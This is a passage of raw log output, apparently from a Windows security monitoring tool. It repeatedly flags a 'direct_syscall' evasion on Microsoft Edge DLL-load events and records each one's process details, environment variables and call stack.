(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179643 + Pid: 7364 + Tid: 4052 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9943021 +0100 CET + Params: base_address➜ 7ffccd390000, checksum➜ 6740758, default_address➜ 7ffccd390000, file_path➜ C:\Windows\System32\OneCoreUAPCommonProxyStub.dll, image_size➜ 6615040, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd7cb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7c8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffcdd764304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffcdd63b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63b26c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd64f83e C:\Windows\System32\combase.dll!Ordinal68|0x7ffcdd66d00c C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffcdcb33663 C:\Windows\System32\rpcrt4.dll!NdrServerCallNdr64|0x7ffcdcb3570e C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ffcdca76c50 C:\Windows\System32\rpcrt4.dll!NdrStubCall3|0x7ffcdd69ac1d C:\Windows\System32\combase.dll!CStdStubBuffer_Invoke|0x7ffcdd69ab5b C:\Windows\System32\combase.dll!RoClearError|0x7ffcdd69a0d6 C:\Windows\System32\combase.dll!RoClearError|0x7ffcdd699721 C:\Windows\System32\combase.dll!RoClearError|0x7ffcdd7095d6 C:\Windows\System32\combase.dll!HBITMAP_UserSize|0x7ffcdd66ebf4 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffcdd674988 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffcdd672ec0 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ffcdd76561b C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffcdd137846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffcdd13539d C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ffcdda4a992 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4180169 + Pid: 7364 + Tid: 5892 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.0064672 +0100 CET + Params: base_address➜ 7ffcdb680000, checksum➜ 385808, default_address➜ 7ffcdb680000, file_path➜ C:\Windows\System32\cfgmgr32.dll, image_size➜ 356352, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcd998c922 C:\Windows\System32\windows.storage.dll!RegistryVerbs_GetHandlerMultiSelectModel|0x7ffcd9a93c32 C:\Windows\System32\windows.storage.dll!STORAGE_SHCreateDirectoryExA|0x7ffcd97bab13 C:\Windows\System32\windows.storage.dll!SHExtCoCreateInstanceString|0x7ffcd97b9599 C:\Windows\System32\windows.storage.dll!SHGetItemFromObject|0x7ffcdda8bd85 C:\Windows\System32\SHCore.dll!Ordinal161|0x7ffcdea4e162 C:\Windows\System32\ntdll.dll!LdrAddRefDll|0x7ffcdea563e0 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4180327 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.0096666 +0100 CET + Params: base_address➜ 7ffcda2a0000, checksum➜ 233044, default_address➜ 7ffcda2a0000, file_path➜ C:\Windows\System32\IPHLPAPI.DLL, image_size➜ 212992, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b6817d7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8e816c30 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f130295 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f13021d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12ec1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12d7d5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12cf5b C:\Program Files 